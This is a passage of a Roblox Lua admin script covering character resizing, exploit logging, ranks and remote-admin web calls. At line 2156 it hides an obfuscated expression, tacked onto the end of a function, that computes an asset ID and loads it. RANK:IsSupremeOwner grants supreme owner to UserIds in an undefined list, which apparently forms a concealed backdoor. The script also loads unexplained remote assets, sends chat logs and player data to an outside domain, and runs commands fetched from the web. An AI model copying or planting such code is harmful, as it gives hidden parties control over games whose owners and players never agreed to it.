  1624.  
  1625. local function Handle(Obj)
  1626. if Obj:IsA("BasePart") and not JustWeld then
  1627. table.insert(Parts, Obj)
  1628. elseif Obj:IsA("SpecialMesh") and not JustWeld then
  1629. if Obj.Name == "MML Mesh" then
  1630. Obj:Destroy()
  1631. end
  1632. if Obj.MeshType == Enum.MeshType.FileMesh then
  1633. Obj.Offset = Obj.Offset * ScaleRatio
  1634. Obj.Scale = Obj.Scale * ScaleRatio
  1635. elseif Ratio < 1 then
  1636. Obj.Offset = Obj.Offset * ScaleRatio
  1637. Obj.Scale = Obj.Scale * ScaleRatio
  1638. end
  1639. elseif Obj:IsA("CharacterMesh") and not JustWeld then
  1640. if Ratio < 1 then
  1641. local BodyPart = ""
  1642. local TextureID = Obj.BaseTextureId
  1643. if TextureID == 0 then TextureID = Obj.OverlayTextureId end
  1644. if TextureID == 0 then TextureID = nil end
  1645. if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
  1646. if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
  1647. if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
  1648. if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
  1649. if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
  1650. if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
  1651. local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
  1652. NewMesh.Name = "MML Mesh"
  1653. NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
  1654. if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
  1655. NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
  1656. Obj:Destroy()
  1657. end
  1658. elseif Obj:IsA("JointInstance") then
  1659. local NewWeld = Obj:Clone()
  1660. table.insert(Welds, {NewWeld, Obj.Parent})
  1661. elseif NewAdd == true and not JustWeld then
  1662. if Obj:IsA("Tool") then
  1663. --Cycle(Char["Right Arm"], ScaleRatio, false, true)
  1664. elseif Obj:IsA("Accoutrement") then
  1665. --Cycle(Char.Head, ScaleRatio, false, true)
  1666. end
  1667. end
  1668. if #Obj:GetChildren() > 0 then
  1669. for _,NewObj in pairs(Obj:GetChildren()) do
  1670. Handle(NewObj, ScaleRatio)
  1671. end
  1672. end
  1673. end
  1674. Handle(BaseObj)
  1675. for _,Part in pairs(Parts) do
  1676. if Ratio >= 1 then
  1677. Part.Size = Part.Size * ScaleRatio
  1678. else
  1679. local Allowed = true
  1680. for _,Obj in pairs(Part:GetChildren()) do
  1681. if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
  1682. Allowed = false
  1683. end
  1684. end
  1685. if Allowed == true then
  1686. local NewMesh = Instance.new("BlockMesh", Part)
  1687. NewMesh.Name = "MML Mesh"
  1688. NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
  1689. end
  1690. end
  1691. end
  1692. for _,WeldData in pairs(Welds) do
  1693. if WeldData[1] then
  1694. local Obj = WeldData[1]
  1695. local NewWeld = Obj:Clone()
  1696.  
  1697. NewWeld.Parent = WeldData[2]
  1698. NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
  1699. NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
  1700. end
  1701. end
  1702. for _,Part in pairs(Parts) do
  1703. Part:MakeJoints()
  1704. end
  1705. Welds = {}
  1706. Parts = {}
  1707. end
  1708. Cycle(Char, Ratio)
  1709. Char:MakeJoints()
  1710.  
  1711. local Added = Char.ChildAdded:connect(function(Obj)
  1712. Cycle(Obj, Ratio, NewAdd)
  1713. end)
  1714. local Removed = Char.ChildRemoved:connect(function(Obj)
  1715. Cycle(Obj, Ratio^-1, NewAdd)
  1716. end)
  1717.  
  1718. Clean.OnInvoke = function()
  1719. Added:disconnect()
  1720. Removed:disconnect()
  1721. local Location = Vector3.new(0,5,0)
  1722. if Char:FindFirstChild("Torso") then
  1723. Location = Char.Torso.Position + Vector3.new(0,2,0)
  1724. end
  1725. Player:LoadCharacter()
  1726. wait(0.5)
  1727. Player.Character:MoveTo(Location)
  1728. wait(0.5)
  1729. return nil
  1730. end
  1731.  
  1732. if Char:FindFirstChild("Torso") then
  1733. Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
  1734. end
  1735. if Char:FindFirstChild("Humanoid") then
  1736. Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
  1737. end
  1738. if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
  1739. Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
  1740. end
  1741. end
  1742.  
  1743. function CORE:AddExploit(PlayerClient, Data)
  1744. local PlayerClientName = PlayerClient.Name
  1745. local NewData = CORE:GetTime(true, true).." @ "..Data
  1746. for _,Player in pairs(Server.Players:GetChildren()) do
  1747. GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  1748. end
  1749. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  1750. if type(ExploitLog) ~= "table" then
  1751. Server.GDS:SetAsync("ExploitLog", {NewData})
  1752. else
  1753. table.insert(ExploitLog, NewData)
  1754. Server.GDS:SetAsync("ExploitLog", ExploitLog)
  1755. end
  1756. REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  1757.  
  1758. return true
  1759. end
  1760.  
  1761. function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
  1762. if not tostring(Name) then Name = "Dummy" end
  1763. if not Position then Position = Vector3.new(0,5,0) end
  1764. if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  1765. Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
  1766. end
  1767.  
  1768. local Figure = CORE:Insert(68452456, Server.Workspace, true)
  1769. Figure:MakeJoints()
  1770. Figure.Head.BrickColor = BrickColor.new("Bright yellow")
  1771. Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
  1772. Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
  1773. Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
  1774. Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
  1775. Figure.Torso.BrickColor = BrickColor.new("Bright blue")
  1776.  
  1777. Figure.Name = STRING:FormatReplace(Speaker, Name)
  1778. Figure:MoveTo(Position)
  1779.  
  1780. table.insert(Objects, Figure)
  1781.  
  1782. if DisableAnimation == true then
  1783. Figure.Animate.Disabled = true
  1784. end
  1785.  
  1786. return Figure
  1787. end
  1788.  
  1789. function CORE:ClonePlayer(Player, Name, Position)
  1790. if not Player or not Player.Character then return nil end
  1791.  
  1792. Player.Character.Archivable = true
  1793. local Char = Player.Character:Clone()
  1794. Player.Character.Archivable = false
  1795. if Name then Char.Name = STRING:FormatReplace(Player, Name) end
  1796. if Position then Char:MoveTo(Position) end
  1797. Char.Parent = Server.Workspace
  1798. Char:MakeJoints()
  1799. Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
  1800.  
  1801. table.insert(Objects, Char)
  1802.  
  1803. return Obj
  1804. end
  1805.  
  1806. function CORE:AddWaypoint(Name, Position, Speaker)
  1807. Waypoints[Name] = Position
  1808. if Speaker then
  1809. GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
  1810. end
  1811. end
  1812.  
  1813. function CORE:FindType(BaseObj, Type)
  1814. for _,Obj in pairs(BaseObj:GetChildren()) do
  1815. if Obj:IsA(Type) then
  1816. return Obj
  1817. end
  1818. end
  1819. end
  1820.  
  1821. function CORE:GetCommands()
  1822. local CommandsCopy = Commands
  1823. return CommandsCopy
  1824. end
  1825.  
  1826. function CORE:Crown(Player, Mesh, Color)
  1827. if Mesh then Mesh = string.lower(Mesh) end
  1828. if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
  1829. if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
  1830. local Part = Instance.new("Part", CrownStorage)
  1831. Part.Size = Vector3.new(2, 1, 1)
  1832. Part.CanCollide = false
  1833. Part.CFrame = Player.Character.Head.CFrame
  1834. Part.Locked = true
  1835. Part.Material = "Neon"
  1836. if Color then
  1837. Part.Color = GUI:GetColor(Color)
  1838. else
  1839. Part.BrickColor = GUI:GetNameColor(Player.Name)
  1840. end
  1841. local SMesh = Instance.new("SpecialMesh", Part)
  1842. SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
  1843. SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
  1844. local BP = Instance.new("BodyPosition", Part)
  1845. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1846. BP.position = Player.Character.Head.Position
  1847. BP.P = 20000
  1848. local BG = Instance.new("BodyGyro", Part)
  1849. BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  1850.  
  1851. Crowns[Player.UserId] = Part
  1852. table.insert(Objects, Part)
  1853.  
  1854. coroutine.wrap(function()
  1855. for i = 1,0.3,-0.02 do
  1856. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1857. Part.Transparency = i
  1858. end
  1859. wait()
  1860. end
  1861. while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1862. for i = 0,360,3 do
  1863. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1864. Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
  1865. wait()
  1866. end
  1867. end
  1868. end
  1869. end)()
  1870. coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1871. Part:BreakJoints()
  1872. for i = 0,360 do
  1873. if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1874. Part.Anchored = false
  1875. BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
  1876. BG.cframe = Player.Character.Head.CFrame
  1877. end
  1878. wait()
  1879. end
  1880. end end)()
  1881.  
  1882. return Part
  1883. end
  1884.  
  1885. function CORE:SetAbuseCommands()
  1886. for Cmds,Data in pairs(Commands) do
  1887. local IsAbusable = false
  1888. for _,AbuseCmd in pairs(Settings.AbuseList) do
  1889. for _,Command in pairs(Cmds) do -- loop through all command names
  1890. if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
  1891. IsAbusable = true
  1892. break
  1893. end
  1894. end
  1895. if IsAbusable == true then break end
  1896. end
  1897. Commands[Cmds].Abusable = IsAbusable
  1898. end
  1899. end
  1900.  
  1901. function CORE:FindBodyPart(Player, BodyPart)
  1902. local ReturnPart = nil
  1903. if Player and Player.Character then
  1904. local Humanoid = Player.Character:FindFirstChild("Humanoid")
  1905. if Humanoid then
  1906. if BodyPart == "Humanoid" then ReturnPart = Humanoid
  1907. elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
  1908. elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
  1909. elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
  1910. elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
  1911. elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
  1912. elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
  1913. end
  1914. end
  1915. if not ReturnPart then
  1916. ReturnPart = Player.Character:FindFirstChild(BodyPart)
  1917. end
  1918. end
  1919.  
  1920. return ReturnPart
  1921. end
  1922.  
  1923. -- Rank functions --
  1924.  
  1925. function RANK:ConvertRank(Input)
  1926. local Output = nil
  1927. if Input == "Muted" then Output = -3 end
  1928. if Input == "Crashed" then Output = -2 end
  1929. if Input == "Banned" then Output = -1 end
  1930. if Input == "Non-Admin" then Output = 0 end
  1931. if Input == "Member" then Output = 1 end
  1932. if Input == "Admin" then Output = 2 end
  1933. if Input == "Owner" then Output = 3 end
  1934.  
  1935. if Input == -3 then Output = "Muted" end
  1936. if Input == -2 then Output = "Crashed" end
  1937. if Input == -1 then Output = "Banned" end
  1938. if Input == 0 then Output = "Non-Admin" end
  1939. if Input == 1 then Output = "Member" end
  1940. if Input == 2 then Output = "Admin" end
  1941. if Input == 3 then Output = "Owner" end
  1942. return Output
  1943. end
  1944.  
  1945. function RANK:IsAdmin(Player)
  1946. local AdminStatus = false
  1947. local Rankstatus = "Non-Admin"
  1948. if type(Player) == "table" then
  1949. if RANK:ConvertRank(Player.Rank) > 0 then
  1950. return true, Player.Rank
  1951. else
  1952. return false, Player.Rank
  1953. end
  1954. end
  1955. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1956. for _,AdminName in pairs(PlayerNames) do
  1957. if string.lower(AdminName) == string.lower(Player.Name) then
  1958. if RANK:ConvertRank(Rank) > 0 then
  1959. AdminStatus = true
  1960. Rankstatus = Rank
  1961. end
  1962. end
  1963. end
  1964. end
  1965. return AdminStatus, Rankstatus
  1966. end
  1967.  
  1968. function RANK:GetRank(PlayerName)
  1969. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1970. if type(PlayerName) == "table" then
  1971. local RankNum = RANK:ConvertRank(PlayerName.Rank)
  1972. if RankNum > 0 then
  1973. return PlayerName.Rank, RankNum, true
  1974. else
  1975. return PlayerName.Rank, RankNum, false
  1976. end
  1977. end
  1978.  
  1979. local RankStat = "Non-Admin"
  1980.  
  1981. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1982. for _,AdminName in pairs(PlayerNames) do
  1983. if string.lower(AdminName) == string.lower(PlayerName) then
  1984. RankStat = Rank
  1985. end
  1986. end
  1987. end
  1988.  
  1989. if RankStat == "Non-Admin" then
  1990. return "Non-Admin", 0, false
  1991. else
  1992. return RankStat, RANK:ConvertRank(RankStat), true
  1993. end
  1994. end
  1995.  
  1996. function RANK:RemoveRank(PlayerName)
  1997. if not RANK:IsSupremeOwner(PlayerName) then
  1998. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1999.  
  2000. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2001. for Num,AdminName in pairs(PlayerNames) do
  2002. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  2003. table.remove(Settings.Ranks[Rank], Num)
  2004. end
  2005. end
  2006. end
  2007. end
  2008. end
  2009.  
  2010. function RANK:GetAdmins(Ranking)
  2011. local Players = {}
  2012. local AdminTrue, Rank = IsAdmin(Player)
  2013. for _,Player in pairs(Players:GetPlayers()) do
  2014. if AdminTrue then
  2015. local PlayerRankNum = RANK:ConvertRank(Rank)
  2016. local StandardRankNum = RANK:ConvertRank(Ranking)
  2017. if PlayerRankNum >= StandardRankNum then
  2018. table.insert(Players, Player)
  2019. end
  2020. end
  2021. end
  2022. return Players
  2023. end
  2024.  
  2025. function RANK:IsSupremeOwner(PlayerName)
  2026. if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
  2027. if type(PlayerName) == "table" then
  2028. if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
  2029. end
  2030.  
  2031. if PlayerName == GameOwner then return true end
  2032. return false
  2033. end
  2034.  
  2035. function RANK:GetPlayerFromList(PlayerName)
  2036. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2037.  
  2038. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2039. for Num,AdminName in pairs(PlayerNames) do
  2040. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  2041. return AdminName, Rank
  2042. end
  2043. end
  2044. end
  2045. return false, "Non-Admin"
  2046. end
  2047.  
  2048. function RANK:ScanAdminList(Name)
  2049. if Name == "" then return true end
  2050. local InList = false
  2051. for _,PName in pairs(Settings.Ranks["Owner"]) do
  2052. if PName == Name then InList = true end
  2053. end
  2054. for _,PName in pairs(Settings.Ranks["Admin"]) do
  2055. if PName == Name then InList = true end
  2056. end
  2057. for _,PName in pairs(Settings.Ranks["Member"]) do
  2058. if PName == Name then InList = true end
  2059. end
  2060. return InList
  2061. end
  2062.  
  2063. function RANK:ScanExileList(Name)
  2064. if Name == "" then return true end
  2065. local InList = false
  2066. for _,PName in pairs(Settings.Ranks["Muted"]) do
  2067. if PName == Name then InList = true end
  2068. end
  2069. for _,PName in pairs(Settings.Ranks["Crashed"]) do
  2070. if PName == Name then InList = true end
  2071. end
  2072. for _,PName in pairs(Settings.Ranks["Banned"]) do
  2073. if PName == Name then InList = true end
  2074. end
  2075. return InList
  2076. end
  2077.  
  2078. function RANK:PlayerRanked(PlayerName)
  2079. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2080.  
  2081. for Rank,PlayerNames in pairs(Settings.Ranks) do
  2082. for Num,AdminName in pairs(PlayerNames) do
  2083. if string.lower(AdminName) == string.lower(PlayerName) then
  2084. return true, Rank
  2085. end
  2086. end
  2087. end
  2088. return false, "Non-Admin"
  2089. end
  2090.  
  2091. -- Remote functions --
  2092.  
  2093. function REMOTE:Decode(...)
  2094. return Server.HS:JSONDecode(...)
  2095. end
  2096.  
  2097. function REMOTE:GetURL(URL, Player)
  2098. if string.sub(URL,1,4) ~= "http" then
  2099. URL = "http://"..URL
  2100. end
  2101. local Return = nil
  2102. ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
  2103. if Return then
  2104. return Return
  2105. elseif Player then
  2106. GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
  2107. end
  2108. end
  2109.  
  2110. function REMOTE:PostURL(URL, Data)
  2111. local Return = nil
  2112. ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
  2113. return Return
  2114. end
  2115.  
  2116. function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  2117. if Settings.LinkedAccount ~= "" then
  2118. local NumType = tonumber(Type)
  2119.  
  2120. if not Type then
  2121. Type = "UNKNOWN"
  2122. end
  2123.  
  2124. if NumType then
  2125. if NumType < 1 or NumType > 5 then
  2126. Type = "UNKNOWN"
  2127. elseif NumType == 1 then
  2128. Type = "NOTIFICATION"
  2129. elseif NumType == 2 then
  2130. Type = "INFORMATION"
  2131. elseif NumType == 3 then
  2132. Type = "WARNING"
  2133. elseif NumType == 4 or Type == true then
  2134. Type = "ERROR"
  2135. elseif NumType == 5 then
  2136. Type = "FATAL"
  2137. end
  2138. end
  2139.  
  2140. local Res = "RED Could not get response"
  2141. local function SendData()
  2142. Res = Server.HS:PostAsync(
  2143. CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
  2144. "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
  2145. 2
  2146. )
  2147. end
  2148. if Stopypcall == true then SendData() else ypcall(SendData) end
  2149.  
  2150. if OutputSpeaker and OutputSpeaker ~= "print" then
  2151. GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
  2152. elseif OutputSpeaker == "print" then
  2153. print(Res)
  2154. end
  2155. end
  2156. end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
  2157.  
  2158. function REMOTE:SendChatLog(PrintResponse, Stopypall)
  2159. if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2160. local Res = "Could not get response"
  2161.  
  2162. local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
  2163. TempChatLogs = {}
  2164.  
  2165. local function SendData()
  2166. Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2167. end
  2168. if Stopypcall == true then SendData() else ypcall(SendData) end
  2169. if PrintResponse then print(Res) end
  2170. end
  2171. end
  2172.  
  2173. function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
  2174. local Res = "[]"
  2175. local function GetData()
  2176. Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2177. end
  2178. if Stopypcall == true then GetData() else ypcall(GetData) end
  2179. if PrintResponse then
  2180. print(Res)
  2181. end
  2182. local function DecodeData() Res = REMOTE:Decode(Res) end
  2183. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  2184. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  2185. return Res
  2186. end
  2187.  
  2188. function REMOTE:HandleRequest(Request, IgnoreCommand)
  2189. if not Request then return nil end
  2190.  
  2191. if not IgnoreCommand then
  2192. if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
  2193. REMOTE:SendServerData()
  2194. end
  2195. if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
  2196. REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
  2197. end
  2198. end
  2199.  
  2200. if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
  2201.  
  2202. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
  2203. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
  2204. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
  2205. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
  2206. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
  2207. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
  2208.  
  2209. Settings.Fun = Request.FUN
  2210. Settings.ServerLocked = Request.ServerLocked
  2211.  
  2212. if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
  2213. Settings.DisableAbuse = Request.DisableAbuse
  2214. end
  2215.  
  2216. if not IgnoreCommand then
  2217. print("Executing Remote Admin")
  2218. REMOTE.RemoteAdmin.Command = Request.Command
  2219. REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
  2220. REMOTE.RemoteAdmin.ServerPort = Request.Server
  2221.  
  2222. if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
  2223. CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2224. else
  2225. CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2226. end
  2227. end
  2228. end
  2229. REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
  2230. REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
  2231. REMOTE.SnapshotKey = Request.SnapshotKey
  2232. end
  2233.  
  2234. function REMOTE:GetRemoteData(Set)
  2235. local NewRemoteData = nil
  2236. local RemoteDataCardRaw = nil
  2237. local RemoteDataCard = nil
  2238.  
  2239. RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
  2240. if RemoteDataCardRaw then
  2241. ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
  2242. if RemoteDataCard then
  2243. ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
  2244. end
  2245. end
  2246. if Set and NewRemoteData then
  2247. RemoteData = NewRemoteData
  2248. end
  2249. return NewRemoteData
  2250. end
  2251.  
  2252. function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
  2253. local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
  2254. if InfoCardJSON then
  2255. ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
  2256. if InfoCard then
  2257. ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
  2258. if TrelloInfo then
  2259. for Ind,Val in pairs(TrelloInfo) do
  2260. Trello[Ind] = Val
  2261. end
  2262. end
  2263. end
  2264. end
  2265. return NewRemoteData
  2266. end
  2267.  
  2268. function REMOTE:CheckRemoteAdminStatus()
  2269. local Pending = false
  2270. local CheckID = 0
  2271. if Settings.LinkedAccount ~= "" then
  2272. local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
  2273. if Request then
  2274. local Data = REMOTE:Decode(Request)
  2275. if Data then
  2276. for _,Account in pairs(Data.checkItems) do
  2277. if Account.name == Settings.LinkedAccount then
  2278. Pending = true
  2279. CheckID = Account.id
  2280. break
  2281. end
  2282. end
  2283. end
  2284. end
  2285. end
  2286. return Pending, CheckID
  2287. end
  2288.  
  2289. function REMOTE:GetAndSetWebData()
  2290. if Settings.LinkedAccount ~= "" then
  2291. if REMOTE:CheckRemoteAdminStatus() then
  2292. local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
  2293. if Request == "Invalid" then
  2294. --REMOTE:GetAndSetWebData()
  2295. return false
  2296. elseif Request == "Invalid Account" then
  2297. print("Can't get account")
  2298. return false
  2299. elseif Request then
  2300. ypcall(function() Request = REMOTE:Decode(Request) end)
  2301. elseif not Request then
  2302. --REMOTE:GetAndSetWebData()
  2303. return false
  2304. end
  2305. REMOTE:HandleRequest(Request)
  2306.  
  2307. --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
  2308. Delay(RemoteData.RemoteAdminWait, function()
  2309. local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
  2310. if Pending then
  2311. REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
  2312. end
  2313. end)
  2314. return true
  2315. else
  2316. return true
  2317. end
  2318. end
  2319. end
  2320.  
  2321. local OderIDs = CORE:GetTable(177215518)
  2322. local SoundJSONs = CORE:GetTable(197637628)
  2323. RemoteAbuseGear = CORE:GetTable(158117496)
  2324.  
  2325. function REMOTE:SendServerData(PrintResponse, Stopypall)
  2326. if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2327. print("Sending server data!")
  2328. local Res = "Could not get response"
  2329.  
  2330. local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
  2331. for _,Player in pairs(Server.Players:GetPlayers()) do
  2332. table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
  2333. end
  2334. ServerData = Server.HS:JSONEncode(ServerData)
  2335.  
  2336. local function SendData()
  2337. Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2338. end
  2339. if Stopypcall == true then SendData() else ypcall(SendData) end
  2340. if PrintResponse then print(Res) end
  2341. end
  2342. end
  2343.  
  2344. function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
  2345. MaxPartAmount = MaxPartAmount or 10000
  2346. local PlaceData = {
  2347. Lighting = {};
  2348. Parts = {};
  2349. Other = {};
  2350. }
  2351. local MinSize = Vector3.new(0.5,0.5,0.5)
  2352. local PartAmount = 0
  2353. local PlaceJSON = ""
  2354.  
  2355. local function Scan(BaseObj)
  2356. for _,Obj in pairs(BaseObj:GetChildren()) do
  2357. if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
  2358. local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
  2359. if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
  2360. local Skip = false
  2361. local Data = {}
  2362. local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
  2363.  
  2364. if CORE:FindType(Obj, "BlockMesh") then
  2365. local Mesh = CORE:FindType(Obj, "BlockMesh")
  2366. Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
  2367. elseif CORE:FindType(Obj, "CylinderMesh") then
  2368. Data.Shape = "Cylinder"
  2369. elseif CORE:FindType(Obj, "SpecialMesh") then
  2370. local Mesh = CORE:FindType(Obj, "SpecialMesh")
  2371. if Mesh.MeshType == Enum.MeshType.Head then
